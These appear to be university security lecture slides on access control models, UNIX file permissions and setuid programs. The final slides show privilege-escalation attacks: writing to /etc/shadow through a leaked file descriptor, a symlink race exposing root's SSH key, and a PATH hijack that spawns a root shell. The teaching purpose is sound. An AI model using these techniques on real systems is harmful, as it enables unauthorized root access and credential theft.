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The slides are based on those of Prof. Stefano Tessaro, University of Washington

and the book “Computer Security: A Hands-on Approach” (Wenliang Du)
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Authentication      Multi-user systems

• Users authenticate to access a system

• Many users access the same system

• Users may share resources

• Access control mechanisms decide which user 
can access which resource

Examples:

• Gmail, Facebook, an operating system, … 
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Multi-level security

• Main motivation behind multi-user systems: 
Military and other government entities want 
to use time-sharing too

Top secret data Unclassified data
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Security Policies

A security policy is a statement that partitions the 
states of the system into a set of authorized (or secure) 
states and a set of unauthorized (or non-secure) states.

A secure system is a system that starts in an authorized 
state and cannot enter an unauthorized state.
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Security Policies – What do they involve?

• Subjects

– People, users, employees, …

• Objects

– Files, documents, physical locations, … 

• Actions

– Read, write, open, edit, append, …
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Access control matrix

file 1 file 2 … file n

user 1 read, write read,
write, own

read

user 2

…

user m append read, 
execute

read,write,
own

Subjects

Objects
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Discretionary Access Control (DAC)

• Users decide access to their own files
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Mandatory Access Control (MAC)

• Security decisions are made by a central policy 
administrator

Examples:
• Bell-LaPadula

– Users are assigned security clearances, general policy 
captures who can read a file.

• Biba
– Dual to Bell-LaPadula, deals with integrity.

Meaning: Violating these policies would allow breaks of 
confidentiality / integrity
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Example: Bell-LaPadula Model

Implements:

• Security clearances

• Need-to-know
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Classification levels

Top secret

Secret

Confidential

Unclassified
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Compartmentalization

Top secret

Secret

Confidential

Unclassified

European Special intelligence
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Classification levels and compartmentalization

• Security level (L,C) assigned to files and users

– L is classification level (Top secret, secret, …)

– C is compartment (Europe, Special intelligence…)

Dominance relationship:

(L1,C1) ≤ (L2,C2) 
L1 < L2 (L1 “less secret” than L2)

C1  subset of C2

Example: 
(Secret, {European} ) ≤  (Top Secret, {European,Special Intel}) 13



Bell-LaPadula Confidentiality Model

“no reads up”, “no writes down”

Top secret

Secret

Confidential

Unclassified

European Special intelligence

Read 
should 
fail

Write should fail
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Bell-LaPadula Confidentiality Model

“no reads up”, “no writes down”

User with (L1,C1) can read file with (L2,C2) if?

Simple security condition

(L1,C1) ≤ (L2,C2)     or (L1,C1) ≥ (L2,C2) 

User with (L1,C1) can write file with (L2,C2) if?

*-property

(L1,C1) ≤ (L2,C2)     or (L1,C1) ≥ (L2,C2) 
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Some issues

• It may well be that someone at (“top-secret”, 
“Europe, Specint”) needs to write an 
unclassified document.

• Implementation should allow explicit lowering 
of security level.

• Only deals with confidentiality – what about 
integrity? 
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Circumventing access controls
Covert channels

Process 1
(L1,C1)

Process 2
(L2,C2)

(L1,C1) ≥ (L2,C2) 

Operating 
System

send M to
Process 2

Fail
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Process 1
(L1,C1)

Process 2
(L2,C2)

(L1,C1) ≥ (L2,C2) 

Operating 
System

write to my
file on disk

ok

Hard disk

read from my
file on disk

ok

Process 1 sends a 1 bit
to Process 2 by writing
lots of bits to files it 
controls on hard disk 

Process 1 sends a 0 bit
by idling

Process 2 measures time
to read from its files on disk

Longer read time = 1 bit sent
Shorter read time = 0 bit sent

Circumventing access controls
Covert channels
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DAC – Two common implementation paradigms

file 1 file 2 … file n

user 1 read, 
write

read,
write, 
own

read

user 2

…

user m append read, 
execute

read,
write,
own

(1) Access control lists

Column stored with file

(2) Capabilities

Row stored for each user

Tokens given to user
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ACLs compared to Capabilities

ACLs requires 
authenticating user

Token-based approach
avoids need for auth

Tokens can be passed
around

Operating System must
manage tokens

Processes must be given
permissions

Operating System must
protect permission setting
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UNIX-style file system ACLs

Permissions:
- Directory?
- Owner (r,w,x) , group (r,w,x), all (r, w, x)

Owner (tessaro)
Group (faculty)
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Roles (groups)

Group is a set of users

Administrator User Guest

Simplifies assignment of permissions at scale

User 1

User 2

User 3

/etc/passwd

User

Guest

Administrator

/usr/local/

/tmp/
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UNIX file permissions

• Owner, group

• Permissions set by owner / root

• Resolving permissions:

– If user=owner, then owner privileges

– If user in group, then group privileges

– Otherwise, all privileges
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Processes

• So far, we have talked about permissions of files.

• Process: Instance of computer program being 
executed, generally associated with an 
executable file.

• Processes also have permissions

– Which files can a process read from/write to?  
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UNIX Process permissions

• Process (normally) runs with permissions of 
user that invoked process

/etc/shadow  is owned by root

Users shouldn’t be able to write to it generally
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How do you reset your password?



Real user ID (RUID)  --
same as UID of parent (who started process) 

Effective user ID (EUID)  --
from set user ID bit of file being executed or due to sys call 

UID 0 is root

Process permissions continued
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Executable files have 2 setuid bits

So passwd is a setuid program

program runs at permission level of 
owner, not user that runs it

• Setuid bit – set EUID of process to owner’s ID
• Setgid bit – set EGID of process to group’s ID
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How do you reset your password?

Because the setuid bit is set, passwd 
can run with root’s privileges even if 
executed by any other users, and 
can thus operate on /etc/shadow!



seteuid system call

uid = getuid();

eid = geteuid();

seteuid(uid);      // Drop privileges

…

seteuid(eid);      // Raise privileges

file = fopen( “/etc/shadow”, “w” );

…

seteuid(uid);      // drop privileges

Idea: raise privileges only when needed within your code!
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Setuid allows privilege escalation but…

• Source of many privilege 
escalation vulnerabilities

Example 1: 
Capability Leaking

Example 2: 
Race conditions

Example 3: 
Env variables
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Capability leaking

• In some cases, privileged programs downgrade 
themselves during execution.  Example: su

… // Some privileged code

setuid(getuid()); // Disable privilege 

// Execute /bin/sh

v[0] = “/bin/sh”, v[1] = 0

execve(v[0], v, 0)

• Issue: Program may not clean up privileged 
capabilities before downgrading
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Capability leaking: An example

fd = open(“/etc/shadow”, O_RDWR|O_APPEND)

setuid(getuid()); // Disable privilege 

// Execute /bin/sh

v[0] = “/bin/sh”, v[1] = 0

execve(v[0], v, 0)

Forget to close the file, so the file descriptor is still valid

Exploit: Write to /etc/shadow with the content of myfile 
cat myfile >& 3 

File descriptor 3 is usually  allocated for the first opened file
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Race conditions 
Time-of-check-to-time-of-use (TOCTTOU)

if( access(“/tmp/myfile”, R_OK) != 0 ) 

{

exit(-1);

}

file = open( “/tmp/myfile”, “r” );

read( file, buf, 100 );

close( file );

print( “%s\n”, buf );

Say the following is run with EUID = 0

Ensures that RUID can access file. If not abort
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access checks RUID, but open only checks EUID

access(“/tmp/myfile”, R_OK) 

open( “/tmp/myfile”, “r” );

ln –s /home/root/.ssh/id_rsa /tmp/myfile

print( “%s\n”, buf ); Prints out root’s secret key…

Outcome?

SetUID process 

Non-privileged process
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Environment variables

SetUID Program(User-controlled) 
env variables

Examples: PATH, LD_PRELOAD 

List of shared libraries that will be searched by dynamic linker

Location of commands that will be searched by shell if full path is not provided
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Example: Attack via PATH

#include <stdlib.h> 

int main()

{ 

system(“cal”); // Run calendar 

} 

Say the following is run with EUID = 0
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How to attack

#include <stdlib.h> 

int main()

{ 

system(“/bin/bash -p”); // Run shell 

} 

Set up a malicious “calendar” program in the home directory
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How to attack

$ export PATH = .:PATH

Tell the shell to look up commands  in the home directory first

system(“cal”); 

Run the SetUID program

Malicious “calendar” is run, and attacker gets root shell

Outcome?


